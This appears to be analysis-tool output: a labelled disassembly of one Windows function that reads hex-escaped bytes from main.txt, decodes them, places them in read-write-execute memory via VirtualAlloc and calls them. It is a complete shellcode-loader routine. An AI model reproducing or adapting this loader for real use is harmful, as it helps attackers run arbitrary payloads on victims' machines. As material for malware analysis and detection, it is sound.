Function at 0x140001070
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Read file on windows

Disassembly:
push rdi
sub rsp, 0x30
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x28], rax
lea rdx, [0x1400032a0]
lea rcx, str.main.txt
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov rdi, rax
test rax, rax
jne 0x1400010c3
lea rcx, [0x1400032b8]
call fcn.140001010
lea eax, [rdi + 1]
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.140001310
add rsp, 0x30
pop rdi
ret
xor edx, edx
mov qword [rsp + 0x40], rbx
mov rcx, rdi
mov qword [rsp + 0x48], rsi
lea r8d, [rdx + 2]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
mov rcx, rdi
movsxd rbx, eax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_rewind]
mov ecx, ebx
mov rsi, 0xffffffffffffffff
add ecx, 1
cmovb rcx, rsi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r9, rdi
lea edx, [rsi + 2]
mov rcx, rax
mov qword [0x140005688], rax
mov r8, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov rax, qword [0x140005688]
mov rcx, rdi
mov byte [rbx + rax], 0
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rdx, qword [0x140005688]
xor ebx, ebx
mov r9d, ebx
mov dword [0x140005690], ebx
mov ecx, ebx
mov dword [0x140005680], ebx
mov r8, rsi
inc r8
cmp byte [rdx + r8], cl
jne 0x140001151
test r8, r8
je 0x1400011b1
mov r11d, ebx
mov r10d, ebx
mov edi, ebx
movsxd rax, r11d
cmp byte [rax + rdx], 0x5c
jne 0x140001195
movsxd rax, r10d
cmp byte [rax + rdx + 1], 0x78
jne 0x140001195
movsxd rax, edi
cmp byte [rax + rdx + 2], bl
je 0x140001195
lea r10d, [rcx + 3]
movsxd rax, r10d
cmp byte [rax + rdx], bl
je 0x140001195
inc r9d
mov ecx, r10d
inc ecx
movsxd r11, ecx
mov r10d, ecx
mov dword [0x140005680], ecx
mov edi, ecx
cmp r11, r8
jb 0x140001167
mov dword [0x140005690], r9d
movsxd rcx, r9d
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rdx, qword [0x140005688]
mov qword [0x140005678], rax
mov rax, rsi
mov dword [0x140005694], ebx
mov dword [0x140005680], ebx
inc rax
cmp byte [rdx + rax], bl
jne 0x1400011d7
test rax, rax
je 0x140001292
mov r8d, ebx
mov r9d, ebx
mov r10d, ebx
movsxd rax, r8d
cmp byte [rax + rdx], 0x5c
jne 0x14000126c
movsxd rax, r9d
cmp byte [rax + rdx + 1], 0x78
jne 0x14000126c
movsxd rax, r10d
movzx r8d, byte [rax + rdx + 2]
test r8b, r8b
je 0x14000126c
lea eax, [rbx + 3]
cdqe
cmp byte [rax + rdx], 0
je 0x14000126c
mov byte [rsp + 0x20], r8b
lea rcx, [rsp + 0x20]
movzx eax, byte [rax + rdx]
xor edx, edx
mov byte [rsp + 0x21], al
mov byte [rsp + 0x22], 0
lea r8d, [rdx + 0x10]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_strtol]
movsxd r8, dword [0x140005694]
mov rcx, qword [0x140005678]
mov ebx, dword [0x140005680]
mov rdx, qword [0x140005688]
mov byte [r8 + rcx], al
inc r8d
mov dword [0x140005694], r8d
add ebx, 3
inc ebx
mov rax, rsi
mov r9d, ebx
movsxd r8, ebx
mov dword [0x140005680], ebx
mov r10d, ebx
inc rax
cmp byte [rdx + rax], 0
jne 0x140001280
cmp r8, rax
jb 0x1400011f1
movsxd rdx, dword [0x140005690]
xor ecx, ecx
mov r8d, 0x3000
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, qword [rsp + 0x48]
mov rbx, rax
test rax, rax
jne 0x1400012c9
lea rcx, str.VirtualAlloc___failed._n
call fcn.140001010
lea eax, [rbx + 1]
jmp 0x1400012e3
movsxd r8, dword [0x140005690]
mov rcx, rbx
mov rdx, qword [0x140005678]
call sub.VCRUNTIME140.dll_memcpy
call rbx
xor eax, eax
mov rbx, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.140001310
add rsp, 0x30
pop rdi
ret